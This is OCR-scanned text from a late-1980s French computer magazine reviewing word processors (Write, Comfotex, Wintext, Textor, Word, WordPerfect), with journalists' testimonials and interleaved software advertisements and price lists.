commandes, les utilisateurs se font 
rares. 

Que pense Jean Bonnefoy des traite- 
ments de texte graphiques qui lui per- 
mettraient d'insérer des dessins ou de 
voir la page telle qu'elle sera imprimée ? 
Il a eu l'occasion d'essayer Evolution de 
Priam, sous Windows : < C'est joli, 
mais vraiment très lent, s 

Et le Macintosh? < Il est parfait, 
pour Cédric Philibert, mais beaucoup 
trop cher. > 

UNE CENTAINE D'ATARI 

ÀLLBÉ 

POUR LA SAISIE 

AU KILOMÈTRE 

C'est également l'avis de Bernard 
Tort du journal Libération. <. Nous 
nous sommes équipés d'ordinateurs 
Atari pour quatre raisons. Il nous fallait 
un micro avec une très bonne définition 
d'écran. Quelque chose qui nous 
change de l'Apple II. Pas question de 
prendre des disquettes souples, elles 
sont trop fragiles, et une rédaction 
ressemble toujours à un capharnaum. 
Nous voulions donc des disquettes rigi- 
des au format standard. Par ailleurs, 
l'Atari travaille avec un processeur mo- 
derne et rapide. Enfin, et surtout, son 
prix était très attractif. > 

Les journalistes de Libé ont-ils choisi 
un programme sophistiqué? < Non, 
répond Bernard Tort. Il y a un an, un 
logiciel comme First Word nous suffi- 
sait. Mais il ne possédait pas de comp- 
teur de signes et de lignes. Quand nous 
commandons un papier, nous avons 
besoin de le calibrer. Avec First Word, 
c'était devenu franchement casse-pieds. 
Ensuite, le logiciel a détruit plusieurs de 
nos textes de façon imprévue, et nous 
pensons que c'était dû aux anciennes 
ROM. Nous nous sommes plaints 
auprès d'Atari, ce qui a eu pour effet 
d'accélérer le passage aux nouvelles 
ROM. Finalement, nous avons établi 
un cahier des charges, et la société 
Logisoft a créé un nouveau logiciel 
spécialement pour nous. Ils en ont 
commercialisé une version publique (Le 
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Rédacteur) plus sophistiquée. La nôtre 
est assez frustre, car nous n'avons pas 
besoin de la couleur. Nous avons re- 
noncé à la justification à droite des 
textes, et nous ne travaillons qu'avec 
une seule police de caractères. > La 
rédaction est équipée d'une centaine 
d'Atari. < La mise en pages ne nous 
intéresse pas. Nous voulons simplement 
saisir du texte au kilomètre puis le faire 
traiter par une machine plus impor- 
tante. > 

DEMAIN, LA RÈGLE D'OR DU 
«TEL ÉCRAN, TEL ÉCRIT)) 

L'exemple de Libération reflète une 
certaine tendance à la simplicité. Pour- 
quoi s'encombrer de fioritures quand il 
s'agit de traiter une grande quantité 
d'articles ? Les éditeurs suivent la voie 
inverse, qui proposent des logiciels tou- 
jours plus sophistiqués et compliqués. 
On comprend que la bataille soit rude 
sur ce vaste marché. Mais innovation et 
simplicité ne vont pas toujours de pair. 

Aujourd'hui, la tendance est au gra- 
phique. Avec l'arrivée en force des 
imprimantes laser, chacun veut profiter 
des nouvelles polices de caractères. Les 
ttaitements de texte non gtaphiques 
peuvent parfaitement géret les polices 
PostScript, mais ne peuvent pas les 
afficher à l'écran. H faut donc attendre 
l'impression du document poui vérifier 
que la mise en pages donne bien le 
résultat escompté. On peut penser qu'à 
terme, avec des ordinateurs plus perfor- 
mants et des programmes mieux écrits, 
tous les traitements de texte seront 
graphiques. Signe des temps, la société 
Winsoft travaille à l'adaptation de Tex- 
tor sut Macintosh. Bientôt, Textor sera 
installé en version graphique sous 
OS/2. Le < tel écran, tel écrit > tend à 
devenir la règle dans les entreprises. 

L'essentiel pour tous ces profession- 
nels de l'écriture est de trouver une 
solution fiable et simple. Lorsqu'ils 
mettent la main dessus, que ce soit sur 
PC, Mac, Atari ou Amstrad, ils n'ont 
plus envie d'en changer Ce marché si 
convoité par les éditeurs finira donc par 
se stabiliser. ■ 



LES LOGICIELS SOUS 

WINDOWS : 

LE TRAITEMENT DE 

TEXTE PARU FENÊTRE 

Changement d'habitudes pour les utilisateurs des traitements 
de texte sur PC. Avec Windows, les nouveaux logiciels 
intègrent l'interface graphique, les fenêtres et les menus 

déroulants. Une présentation très inspirée du Macintosh dont 
voici trois exemples. 

■!Mimm)iim.i 



La plupart des ttaitements de texte 
pour PC s'exécutent à partir de 
l'intégrateur Windows mais n'associent 
pas toujours l'utilisation de menus dé- 
roulants et de la souris. L'intérêt de 
Windows de Microsoft devient alors 
très limité. Ce n'est pas le cas des ttois 
logiciels présentés ci-dessous. 

WRITE :U SIMPLICITÉ 
AVANT TOUT! 

A tout seigneur tout honneur, Write 
de Microsoft est le traitement de texte 
fourni et conçu avec Windows. 11 nous 
servira donc de référence. Write saisit le 
texte avec retour à la ligne automatique. 
L'accès au menu des commandes se fait 
grâce à la souris ou par une combinaison 
de touches avec Alt. Il utilise cependant 
parfaitement l'interface de l'intégrateur 
avec ses fenêtres, ses menus déroulants 
et ses icônes. De plus, on peut indure 
des graphiques en provenance de Paint, 
par exemple, directement à l'intérieur 
d'un document Write, Afin de coor- 
donner son offre en matière de traite- 
ment de texte, Microsoft a doté Write 
d'une interface puissante avec Word. Il 
devient ainsi aisé, non seulement de 
técupérer un document crée avec Micro- 
soft Word sans perdre l'enrichissement 



et la mise en forme, mais également de 
sauvegarder un texte en format Word ; 
dans ce cas les graphiques disparaissent. 
Pour les sélections ou défilements, 
l'usage de la souris est omniprésent. On 
utilise par exemple les cases de défile- 
ment situées dans les coins droits hauts 
et bas. Le couper-coller, cher aux fanati- 
ques du Macintosh, permet de déplacet 
ou de copier un texte à l'intérieur d'un 
document Write, mais également vers 
ou à partir d'une autre application 
Windows. Il faut dans ce cas utiliser le 



La mise en forme et le choix des types 
de caractères sont immédiatement visi- 
bles à l'écran. Au moment de lancer 
l'impression, il est possible de choisir 
une imprimante parmi celles installées 
sous Windows. Les impressions en 
< portrait > ou < à l'italienne > (lands- 
cape) sont également disponibles. 

COMFOTEX : LE TALENT CACHÉ 

Comfotex est un traitement de texte 
réalisé spécialement pour Windows. 
Intégré dans la gamme Confoware qui 
contient entre autres un Graph, un 
Merge et une connexion vers les sites 
centraux, il est distribué en France par 
Frame, publié par Software Products ► 



Vingt points importants sont à exa- 
miner avant de choisir un logiciel de 
traitement de texte sous Windows : 
1 Documentation et messages 
en français 
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Certains éditeurs proposent c 
anglo-saxons avant qu'ils ne soient en- 
tièrement francisés. C'est parfois un 
handicap pour les utilisateurs qui ne 
lisent pas Shakespeare dans le texte. 

2 Nombre et format des disquettes 

Le nombre de disquettes est souvent 
proportionnel à la place éventuelle occu- 
pée sur un disque dur. Certains otdina- 
teurs sont équipés de lecteurs 3' 1/2, et 
il faut vérifier la taille physique des 
disquettes fournies (5" 1/4 ou 3*1/2). 

3 Sauvegarde automatique 
Proposée pour la première fois par 
WordPerfect puis vulgarisée par Sprint 
de Botland, la sauvegarde automatique 
évite les pertes de documents. En fonc- 
tion du temps, par exemple toutes les 
trois secondes, ou bien en fonction du 
texte saisi, par exemple tous les 80 
caractères, le document en coûts de 
saisie est automatiquement sauvegardé. 

4 Espacements proportionnels 
ou espacements fixes 

Avec l'avènement des imprimantes à 
laser, la largeur des caractères est main- 
tenant variable. Un < W > prendra dans 
ce cas pius de place qu'un < I > alors 
qu'avec une police à espacement fixe, il 
occupe la même place. 

5 Taille maximale des documents 

Une lettre de 2 pages, un texte de 25 
pages ou un rapport de 300 pages ne 
mettent pas en oeuvre les mêmes fonc- 
tionnalités. La gestion d'index, la table 
des matières, les chapitres sont ainsi 
nécessaires à la gestion de grands docu- 
ments. 

6 Réalisation optimisée 
des tableaux 

La manipulation des caractères prédéfi- 
nis dans le système pour tracer les 
tableaux en simple ou double trait n'est 



pas toujours aisée s'il faut, comme avec 
Word, taper Alt et simultanément le 
code du trait. Le passage en mode 
tableau et l'usage des flèches de dépla- 
cement pour le tracé (comme avec 
Textor) simplifient l'exécution des ta- 
bleaux avec parfois la faculté de réaliser 
quelques petits calculs. 

7 Nombre de documents 
simultanés 

Pour fusionner des fichiers ou pour en 
consulte! plusieurs en même temps, 
certains logiciels autorisent l'ouverture 
simultanée de fichiers. 

8 Saut de page conditionnel 

Si l'on souhaite imprimer la suite du 
texte sur une nouvelle page et cela par 
exemple dès la ligne 5 de la première 
page, ou bien si l'on désire sauter de 
page uniquement lorsqu'une condition 
est remplie, cette option est nés utile. 

9 Espaces et textes insécables 

Pour écrire P Dubois et être certain que 
ces deux mots se trouveront sur la 
même ligne, l'espace qui les sépare doit 
devenir insécable. De la même façon, 
pour obtenir une suite de mots qui ne 
puisse être coupée, elle doit être déclarée 
insécable, pat exemple pour 2 + 3 - 5 . 

10 Liaisons de paragraphes et/ou 
de graphiques 

Un paragraphe qui ne doit pas être 
coupé sous peine de perdre sa significa- 
tion ou bien un graphique et son 
commentaire peuvent être liés de façon 
permanente. 

11 En-têtes et pieds de pages 
(numérotation automatique) 

Un en-tête et un pied de page sont 
repris en haut et en bas de chaque page. 
Certains traitements de texte permet- 
tent l'impression sur les pages paires ou 
impaires uniquement. 

12 Impressions multicolonnes 
(journalistiques) 

Imprimer un texte sur plusieurs colon- 
nes, comme dans un journal, facilite 
parfois la lecture ou l'insertion de gra- 
phiques. 



13 Wysiwyg ' 

What You Seels What You Get, ou tel 
écrit, tel écran. Visualiser un texte tel 
qu'il sera imprimé optimise sa mise en 
pages. 

14 Dictionnaire et correcteur 
orthographique intégrés 

Les correcteurs orthographiques ne cor- 
rigent certes pas les fautes de grammaire 
mais évitent bien souvent les erreurs 
dues à une frappe trop rapide. 

15 Macrocommandes 

Appelées également accélérateurs, elles 
facilitent la répétition rapide de 
commandes courantes, souvent en assi- 
gnant une commande à une touche. 

16 Intégration de graphiques 
Réserver la place pour insérer des gra- 
phiques manuellement, c'est bien, mais 
les insérer directement dans le texte avec 
parfois la possibilité de modifier leur 
aspect c'est mieux. 

17 Recherches et remplacements 
automatiques 

En disposant d'une lettre adressée à 
Monsieur, à l'aide d'une simple recher- 
che et remplacement automatique, elle 
sera adressée à Madame. Quelques 
accords sont cependant toujours à pré- 
voir. 

18 Impressions à l'italienne 
et en portrait 

Pour accompagner des graphiques ou 
préparer des transparents, il est parfois 
nécessaire d'imprimer dans le sens de la 
plus grande dimension de la feuille. 

19 Fusions de textes 

Réunir en un seul rapport les conclu- 
sions de diffétentes petsonnes donc de 
différentes saisies impose la fusion de 
documents. 

20 Règles de format 

Une règle de format montre la position 
et le type des différentes fabulations 
ainsi que les marges droite et gauche. 
Elle indique également la mise en forme 
par défaut (centrage, cadrage à gauche 
ou adroite, justification). 



International (concepteur d'Open 
Access) et conçu par Siemens. Annoncé 
au pays d'Astérix pour le premier tri- 
mestre 1988, il se fait un peu attendre, 
même si son prix de vente est déjà fixé 
(3 950 F ht). Une règle de format 
symbolise les fabulations dès le charge- 
ment ainsi que les marges gauche et 
'droite. A la première frappe, même en 
police standatd, on constate sur certains 
appareils un retard de quelques secon- 
des à l'affichage. L'un des compatibles 
AT fonctionnant à 8 MHz sur lequel 
nous avons travaillé ne s'avère pas assez 
rapide, et la course aux armements 
semble devoir continuer afin d'exploiter 
pleinement ce type de produit sous 
Windows. Le logiciel testé n'est pas une 
version définitive, et son temps de 



réponse est élastique. Il ne semble 
soumis à aucune règle précise. 

La version en anglais (la traduction 
des messages et de la documentation est 
plus avancée dans cette langue) à notre 
disposition utilise pleinement la démar- 
che de Windows, avec menus dérou- 
lants, icônes et souris. Elle comporte la 
plupart des attributs aujourd'hui cou- 
rants parmi les traitements de texte, 
mais qui charment les utilisateurs. Du 
point de vue de l'affichage, les moni- 
teurs couleur EGA rendent les nuances 
moins ternes lorsque l'on utilise Comfo- 
tex sous Windows 2.00. 

Ce traitement de texte refuse de 
démarrer avec la version 1.03. Une 
version mise à jour du produit Microsoft 
s'impose. Le mode Wysiwyg facilite les 
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Write 


Comfotex 


Wintext 


Documentation française 


- Oui 


Oui 


En cours 


Configuration minimale 


384 


640 


512 


Wysiwyg 


Oui 


Oui 


Oui 


Justification 


Oui 


Oui 


Oui 


Espacement proportionnel 


Oui 


Oui 


Oui 


Multicolonne 


Non 


Encours 


Oui 


Paragraphe et texte insécable 


Non 


Non 


Oui 


En tête et bas de page 


Oui 


Oui 


Oui 


Interligne réglable 


Oui 


Oui 


Oui 


Dictionnaire 


Spell + 500Fht 


En cours 


Oui 


Sauvegarde automatique 


Non 


Oui 


Oui 


Macrocommande 


Non 


Oui 


Oui 


Intégration de graphiques 


Oui 


Oui 


Oui 


Intégration de tableaux 


Qui 


Oui 


Oui 


Documents simultanés 


Oui 


Non 


4 


Recherche/remplacement 


Oui 


Oui 


Oui 


Paysage/portrait 


Oui 


Oui 


Oui 


Taille maximale des documents 


To il le- mémoire 




Illimitée 


Fusion de texte 


Oui 


Oui 


Oui 


Mise majuscule-minuscule 
automatique 


Non 


Non 


Oui 


Multipolice 


Oui 


Oui 


Oui 


Zoom 


Non 


Non 


Oui 


Règles de formats 


Oui 


Non 


Oui 
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changements de présentation. L'inté- 
gration et la manipulation de gtaphi- 
ques, comme avec Write, satisfont les 
décorateurs. 

Un dictionnaire multilangue et une 
sauvegarde automatique périodique 
(comme Sprint de Borland) contribuent 
à rendre l'outil convivial mais lui font 
peut-être perdre un peu de rapidité. 

WINTEXT : UNE BONNE 
IMPRESSION 

Spécialement réécrir pour Windows, 
à partir du logiciel Evolution (de 
Priam), fonctionnant également sous 
Gem, Wintext a le mérite d'être fian- 
çais. En effet, son auteur, Pascal Pellier, 
est considéré comme « le meilleur 
concepteur européen » selon Aldo Zer- 
mati, le représentant en France de Pa- 
lantir, société américaine qui diffuse le 
produit au niveau mondial. Les premiè- 
res livraisons éraient prévues pour la 
quatrième semaine de mars, en langue 
française, pour un prix de 3 450 F ht. 
Ces délais semblent difficiles à tenir 
pour Priam comme pour Palantir qui a 
le souci louable de vouloir standards: 
les logiciels sous Windows. 

La notion de document unique prô- 
née par la firme autorise la portabilité 
des textes créés avec Wintext mais 
également des tableaux réalisés avec 
Wincalc. Wintext permet d'éditer qua- 
tre documents simultanément, ce qui 
facilite les fusions. Les documents peu- 
vent être regardés en vue réduite (Wva- 
wig of course explique la documenta- 
tion de Palantir, qui a sans doute voulu 
lancerson WhatlSeefs WhatlGet). 

Les graphiques provenant de Win- 
scan peuvent être affichés au milieu des 
textes, et un masquage rectangulE^tL. 
faisant apparaître uniquement leur po- 
sition, accélère notablement l'affichage. 

Le point fort de Wintext concerne les 
impressions qui peuvent être réalisées 
avec toutes les imprimantes gérées par 
Windows y compris les imprimantes 
PostScript. Un bon choix de polices de 
catactères vectorielles ou en bit map et 
bien entendu les polices résidentes de 
l'imprimante sont utilisables. L'impres- 




La révolution laser, 

c'est de faire d'une simple feuille de papier 

une arme dans la compétition. 

A ATARI 



(NOUVEAU) 



LE TRAVAIL 
SUR PC 
DEPUIS 

LE MINITEL 



"Qui n'a pas eu besoin, un jour d'accéder 

à son logiciel favori..., 

malheureusement resté au bureau ? 

La solution .* TwiniTelqui vous 

permet de travailler à dislance depuis 

ootre minitel " 

L 




Twim 



Compatibilité 

Le "tout" minitel : 

40 colonnes, 80 colonnes. 

■ Le "toui' modem : 

modems V23 Kortex, PNB, LCE... 

Le "tout" logiciel : Multiplan, dBase, 

1-2-3, Word... 

Sécurité 

Accès contrôlés par mots de passe. 

Journal des connexions. 

Reprise du contrôle du PC en local. 

Connexions spécialisées par application. 

Domaines d'application 

Travail à distance sur PC 

Télé-maintenance. 

Télé-enseignement. 

Messagerie. 

Frontal vidéotex de grands systèmes. 
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Logiciel et documentation en français. 
Service Sorti ssimo : 
e téléphonique, garantie, 
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Demande de documentation j 

Nom ■ ■ î 

Société - 

Adresse • 



p~ sion en < portrait > ou < à l'italienne > 
est directement accessible par les menus. 
Une police scientifique est annoncée par 
Priara. Elle fonctionne sous Géra et 
devrait être disponible prochainement 
sous Windows. Une fonction de publi- 
postage permet de fusionner une lettre 
type avec des informations provenant 
de dBase ou de Framework, ou saisies 
directement avec le txaitement de texte. 
Spell. Le dictionnaire associé est dis- 
ponible en français. Il est très simple 
d'emploi pour épeler les documents du 
type Write et mémorise les nouveaux 
mots qui n'ont alors plus besoin de 
confirmation. L'utilisateur crée à loisir 
des dictionnaires accessoires afin de véri- 
fier des documents spécifiques. Mais si 
Spell dispose d'une césure automatique 
performante, il ne corrige malheureuse- 
ment pas toutes les fautes de grammaire 
que l'on trouve, entre autres, dans les 
documentations des traitements de 
texte... 

Pakntir a annoncé l'arrivée de ses 
principaux produits sous Présentation 
Manager (OS/2). Wintext sera alors 
disponible sous Gem, Windows l.xx, 
2.0x, 386 et PM, si la société améri- 
caine tient ses paris. 

ET LA VITESSE? 

Un test de vitesse concernant ces trois 
produits est édifiant. Un < retour vers le 
futur > semble la bonne définition. En 
effet, ils font assaut de lenteur dès le 
chargement. A partir de Windows, il 
faut attendre 9 s avant d'utiliser Write 
alors qu'une trentaine de secondes est 
nécessaire à Wintext et à Comfotext. 
Sur certaines machines, ce temps peut 
atteindre 1 mn 30 pour le logiciel de 
Frame qui est paradoxalement plus 
rapide que celui de Priam sur d'autres... 
Il s'agit certes, pour ces deux derniers, 
de préversions mais même divisées par 
deux, ces quelques dizaines de secondes 
sont des éternités pour les habitués des 
claviers et des souris. 

A titre indicatif, Sprint de Borland 
demande 9 s de patience pour se lancer 
à partir de Windows, et Microsoft 
Word qui n'est pas à l'origine prévu 



pour cela impose 15 s d'attente. C'est 
au lancement de l'impression que les 
records de temps sont battus. Windows 
n'est certes pas indissociable de ce phé- 
nomène. 

En conclusion, pour un utilisateur 
occasionnel de traitement de texte qui 
recherche la simplicité et l'homogénéité 
plutôt que la puissance absolue, Write 
est le produit désigné. En outre, associé 
à Word, il offre une utilisation à plu- 
sieurs niveaux. C'est le seul produit 
réellement disponible à la date de rédac- 
tion de cet article : sa documentation est 
incluse dans celle de Windows, lui- 
même francisé. 

Microsoft prépare une nouvelle ver- 
sion de Word destinée à l'environne- 
ment OS/2 , mais garde jalousement ses 
secrets. Frame et Priam attachent une 
grande importance au service après- 
vente et s'engagent à fournir une assis- 
tance téléphonique appropriée. Wintext 
et Comfotex sont certes des traitements 
de texte conviviaux très complets mais 
gourmands et plus lents. Ces deux 
produits, partiellement achevés, ont le 
mérite d'être les premiers sur le marché 
et restent très attrayants. ■ 



Conœpceur : Microsoft 
Importateur ; Microsoft France 
Prix : gratuit, fourni avec Windows 
2.00 

x-larcun. référence n° 35 



Concepteur : Siemens (édité en Europe 
parSPI) 

Importateur : Frame 
Prix: 3 950Fht 

'e-kaeats, référence n° 36 
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Concepteur : Priam (France) 
Distributeur : Paiantir 
firûr;3450Fht 

Srr<.!LC-lccifi:rf,!i-iérenœn°37 



L'ORDINATELU INDIVIDUEL X» 104,'JUIM' 



La révolution Atari, 
c'est de mettre cette arme aux mains du plus grand nombre. 



SOLUTION COMPLETE DE MICROEDITION ATARI 

CONFIGURATION: Ordinateur Atari Méga ST4 • Disque dut • Imprimante laser Atari. 
LOGICIEL : Logiciels de P.A.0. et de traitement de texte. 

FORMATION : Formation à la micro-édition • Assistance téléphonique permanente. 
MAINTENANCE : Maintenance sur site d'un an. 
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ATARI LE FASCINANT POUVOIR ■ ATA PI 
DE LARME INFORMATIQUE. ,/IV, MIMlXi 



LOGICIELS DF.BNIF.RES VERSIONS 

POUR IBM PC, XT, AT, COMPATIBLES, 

MACINTOSH 

Jusqu'à -50%j 
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TTC. 

3595 


dBASE Mac Ashton Taie a 


Omnil 3+ Blytk a 


385C 


Omnis 3+ Blyth f 


560» 


EDITIONS 




PageMaker Aldus f 


5595 


Ready Sel Gol 4 LelraSel a 


4250 


COMPTA/C.F.STION 




Métusine f 


2600 


Super Mélusine f 


3665 


Paye Aïarel f 


4200 


TABI.FtIRS 




Excel 1.04 Microsoft a 


2S70 


Excel 1.04 Microsoft f 


3225 


MacCalc Bravo a 


1350 


TE3CIES 




MindWrite MindWork a 


2250 


Word 3.01 Microsoft f 


2650 


INTEGRE 




Works 3.01 Microsoft I 


1695 


PROC.RAMMVnONS 




Basic Compiler Microsoft a 


1650 


LighiSpeed C Thir.k a 


1495 


LightSpeed Pascal Think a 


1095 


Prolog AdvAI. Systems a 


2550 


Turbo Pascal Borland a 


750 


Turbo Pascal TuvxBorland a 


750 


Turbo Pascal Numeric a 


750 


VIP Mainstay a 


1155 


f NOUVEAU 


\ 


Turbo Pascal DalaBase 




Toofflox Borland a 


895 


ZRasic 4.01 Zedcor a 


285 








m) 




SCANNER 




ThunderScan a 


2250 


imi.JTArRFS 




CopyIIMac7.1 a 


290 


f NOUVEAU 


\ 


THE PRGFESS IGNAL 




PROGRAMMERA 




EXTENDER™ 




Tous les secrets de programmation se 




révélé.; avec Codes Sources complet 




Codes sources sur Lighlspeed C ou LS Pascal 


^ ou Turbo Pascal, etc.. Prix TTC 3400 Frs. J 







SOFTWORLD 

Le Nouveau TlonrXe 

17, Avenue Emile Zola. 75015 Paris. Téléphone : (33) / (1) 40 59 02 99 






MSMMMmMEMm 



BASES DE DONNES 

dBase 10+ 
Fox Base2+ 
Reflet 

Paradox 
RBase System 
EDITION fRA.Ot 
PageMaker 
COMPTA/GESTION 
Ciell CompL-Geslicn 
Bilan Plus 

DESSINS fD.A.O> 
Prodesign H 



TTC 

6285 
4195 
1295 
6150 

5650 



I.TBHATHTFSPOimiANnAfiFr 



CScape 

C Tools Pks/5.0 
Greenleal Data Windows 
Greerdeal Data Windows 
(Livré avec Codes Sources) 
Halo 88 

Greenleaf Comm library 
PforCe Version 1.03 
^IUrboWindow/C 



3995 
1495 
2125 

3595 

2295 
1850 
3495 





E.A.O 
MICRO-CAP n 


^ 


And vk ck Circula âficmtriqm. a 

MICROLOGICH 


13500 


InoHinLojique dipulis-Siniijlitiai a 


135CXy 



INTFjRRES 

Ability Plus (5'l/4) 
Ability Plus (3't/2) 
Lotus 1-2-3 
Works PC 
TABLEURS 

Excel PC ( 286 et 386 ) 
Muiqplan3 
Quattro : PROMO 
VP Planer Plus 
TEXTE 
V , Word 4 



1475 
1695 

3400 
1750 



LANGAGE S 

AdaStarter Compiler 

AdaVantape Compiler 2.1 

Janoi/Ada "Jel Set" 

Janus/Ada Educationa| PaJ; 

Janus/Ada rfevelfip. Pale 

C Compiler 5.0 

Latn'œ C 3.2 

Macro Assembleur 5.0 

Power C 

Quick Basic 4.0 

QuickC 1.0 

Turbo Basic 

Turbo Basic 

Turbo C 1.5 

Turbo C 1.5 

Turbo Pascal 4.0 

Turbo Pascal 4.0 

Turbo Prolog 

IIRBAIRIE-S 

Jfl-SCREENXL 



Cunpslihlc avec 

PforCe++l 
DBase 15 (t 



pour Quidc Bjjric ou Turbo Baie) 
QBaseReport l.l(N«.™u) 
QuickPak 1.3 Vol.1 
QuickPak 1.3 Vc4.2 
TurboPascal Develop. Lib. 

unrjTAmre 

Ccj^npciviujic OptionBoard 

CopvnPC 

FasiBack5.14 

Mace + Utility 

Norton Utility 4.0 

Norton Advanced Utilities 

PC Tools Deluxe 4.0 

Windows 2 

Window 386 

f 



4651 

saa 

3395 
3350 



f : Version en français. 

aef : en américain avec possibilité 

en français. 

TOUS NOS PRIX SONT TTC 
Catalogue gratuit sur demande 



BON DE COMMANDE 

SOFTWORLD 




Nom:. 



jj recommandé 30 Frs par 1000 Fie J 



Aucun règlement ne sera encaisse avant 
l'expédition des marchandises 

Pour vos développements 

Nous pouvons vous fournir différents 

langages de programmation, des librairies, 

des utilitaires. 

Pour vos affaires 

Nous pouvons vous fournir différents 

logiciels : Editeur de Textes, Tableurs, 

Graphiques, Intégrés, D.A.O., P.A.O, 

Bases de données. Applications Verticales... 




LES LOGICIELS SOUS DOS: 

HUIT STARS DU PC 

S'AFFRONTENT POUR 

L'OSCAR 



L'offre est importante chez tous les grands éditeurs dans le 
domaine du traitement de texte. Les logiciels les plus vendus 
en France en 1987* étaient Microsoft Word (28 700 copies), 
IBMVisio(10 300),Textor(7 000), WordPerfect (3 800) 

et WordStar (3 300). Mais les cartes sont fréquemment 

redistribuées. WordStar aux Etats-Unis et Textor en France 

ont dû céder leur première place à Word, aujourd'hui 

distancé par WordPerfect outre- Atlantique. Rien n'est 

définitivement joué ici, puisque le traitement de texte 

demeure le plus accessible des logiciels. De nouveaux venus 

tels Multimate, Manuscript et Sprint peuvent tirer 

leur épingle du jeu. 



EH— D 

TEXTOR: TABLEAUX 

ET SORTIES USER 

POUR UN FORT EN CALCUL 

Avec 60 000 exemplaires vendus 
(70 000 en comptant les bundles pro- 
par des œnstructeurs), Textor a 



longtemps été le leader du marché 
français. Talor, son concepteur, en né- 
gligeant de fournir de nouvelles versions 
de son produit vedette a cependant 
laissé Word puis Visio d'IBM dépasser 
Textor. Aujourd'hui, le seul produit 



français qui tenait tête aux Américains 
s'est vu reléguer à une troisième place 
honorable, mais cependant moins pres- 
tigieuse. Thierry Lorthiois de Talor, 
conscient de cet état de fait, se raccroche 
à son message initial : Textor était et 
reste un produit proche des machines 
dédiées, raison pour laquelle il a séduit 
dès le départ son public fétiche, les 
secrétaires. Outre son interface-udlisa- 
teut assez simple, il n'avait pas son 
pareil pour l'organisation des docu- 
ments puisqu'il permettait de donner à 
ceux-ci des noms dépassant les maigres 
huit caractères du DOS. 

Il était également réputé comme un 
« fort en calcul >, ce qui a permis à la 
SSII comptable CCMC de l'intégrer à 
des produits de gestion fiscale. Mais, 
comme le fait remarquer Thierry Lor- 
thiois, c il y avait une pression pour 
l'impression laser, la souris, les fenê- 
tres... >, il a tenté d'y répondre, peut- 
être un peu tardivement. Néanmoins, 
Textor 4, sorti en avril 1988, a apporté 
la réponse à ces questions. Qu'il s'agisse 
du tracé de tableaux en mode graphi- 
que, de l'impression multipolice, ou 
même du calcul dans le texte, Talor a su 
renouveler son offre tout en restant 
proche de sa clientèle de base. < Mettez 
Textor 4 entre les mains d'une secrétaire 
lambda, et elle vous sortira des docu- 
ments laser aisément >. Textor 4 entend 
donc mettre les nouvelles possibilités de 
la technologie à la portée des spécialistes 
de la frappe intensive. 
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Pour 999.95 * francs, 

"Offrez-vous un 

turbogidel" 

"Le traitement de vos mots de texte 





S Turbo Texte : Enfui un véritable logiciel professionnel qui intègre : Un 
g, automatiquement, de calculer en ligne el en colonne, de gérer un bloc-n 
% à écrire, d'un manuel d'aide "ON UNE", d'un tableau de commandes in 






t de texte capable d'é 


;rire en portrait ou c 


n paysage, de Ira 


cer des tableaux 


dispose d'une sauve 


aide temporelle, d'u 


ne calculette, d u 


i mode machine 


d'un système de mac 


ro-commande. 







s Mais Turbo Texte, c'est aussi : Un véritable gestionnaire de fichier capable de calculer et de sélectionner vos fiches de façon très puissante. Un module mailing 

=1 comparable à un générateurd'états.destinéàadresservos courriers aux sélections multi -critères faites sur les -fichiers, ou à éditer des listes sous forme delableaux 

g ou de série d'étiquettes. Un module graphique capable de dessiner automatiquement courbes, camemberts et histogrammes qui agrémentent les tableaux de 

| chiffres ou les rapports. Un agenda multi-utilisateurs capable de déterminer les horaires libres et communs à plusieurs utilisateurs afin d'organiser une réunion. 

„ Et tout un ensemble d'utilitaires tel sa recherche documentaire mulli-clefs et multi-documems, ou son système d'interface de fichiers ASCII. 

B Turbo Texte, c'est l'outil de bureautique pour P.C. et compatibles que tout le monde attendait, tant il est puissant, fiable, simple à utiliser, convivial et... si 
J incroyablement bon marché. La meilleure preuve : Turbo Texte compte déjà plus de 2 500 utilisateurs en France depuis seulement Octobre 1987. Version 
la française 1.10 (logiciel et documentation) disponible. 

Bon de commande : OUI ! Erwoyez moi par retour : 

1 Turbo-Texte a999.95 F. ht. soit KI:HM F. ttc. Nom 



Disquette : 5'k |~] Z'h \^\ Ordinateur 
Chèque Bancaire ou C.C.P. joint 



Car-te Bancaire : 



i i i i i i i i i r 



Date d'expiration : 




WORD: LA COMBINAISON 
GAGNANTE 

Si Microsoft est numéro un en France 
avec Word, elle doit faire face presque 
partout ailleurs à un concurrent nommé 
WordPerfect. Avec la sortie de sa ver- 
sion 4.0, Microsoft avait su regagner du 
terrain face à WordPerfect 4.2. Bill 
Gates nous avait confié avoir noté une 
progression notable des ventes de Word 
dès la sonde de la version 4.0. D'impor- 
tanres sociétés américaines, réticentes 
vis-à-vis de Word, se sont ralliées à la 
version 4.0 de ce produit après évalua- 
tion de plusieurs challengers. Qu'il 
s'agisse des macros, de la liaison avec 
des tableurs, du dessin de cadres et 
bordures, Word n'esr pas loin d'avoir 
atteint son niveau optimal. Un outil de 
gestion des documents esr venu s'inté- 
grer de façon douce à un Word 3 déjà 
fort apprécié du grand public. Quant à 
la vitesse de défilement du curseur, elle 
est désormais sidérante. . . 

L'une des forces de Word vienr de ce 
qu'il permer une évolution aisée. < Les 
utilisateurs satisfaits de Word 3, qui 
auraient pu être tenrés de rester sous 
cette version, ne résisrenr pas dès qu'ils 
découvrent Word 4.0 >, confie Bernard 
Vergnes. Un utilisateur de Word 3 peut 
passer à la version 4 et travailler comme 
auparavanr sans constater de différence 
majeure. Les nouveautés du logiciel 
viennent s'imposer narurellement à lui 
sans bousculer ses habitudes. N'ou- 
blions pas qu'un didacticiel de très 
haute qualité est disponible à tout 
moment pour aborder cerraines parties 
du logiciel sans avoir à passer par les 
inrerminables (mais très complets) ma- 
nuels. Word 4.0 a donc tout d'une 
combinaison gagnante. 

ParaUèlernenr, la version Mac est 
souvent considérée comme le nec plus 
ultra en la matière. Certains n'hésirenr 
pas à la présenter comme la meilleure 
solution d'édition électronique à la por- 
tée de tous. Avec ce couple leader sur les 
deux principaux mondes de la micro et 
des possibilités d'échanges de docu- 
menrs Mac-PC, Word aurait pu sem- 



WORDPERFECT : UNE LENTE 
MAIS IRRÉSISTIBLE ASCENSION 

Le problème s'appelle donc Word- 
Perfect. Certe compagnie a été fondée 
en 1979 par Alan C. Ashton et Bruce 
W. Bastian {cf. interview dans ce même 
numéro). Elle développe tous ses logi- 
ciels en interne, et presque Toujours en 
assembleur. Sa montée a été lente mais 
irrésistible et, aujourd'hui, WordPerfect 
s'affirme numéro un du traitement de 
texte avec 30 % du marché mondial et 
1 400 000 unirés installées. Depuis sa 
création, la société double son chiffre 
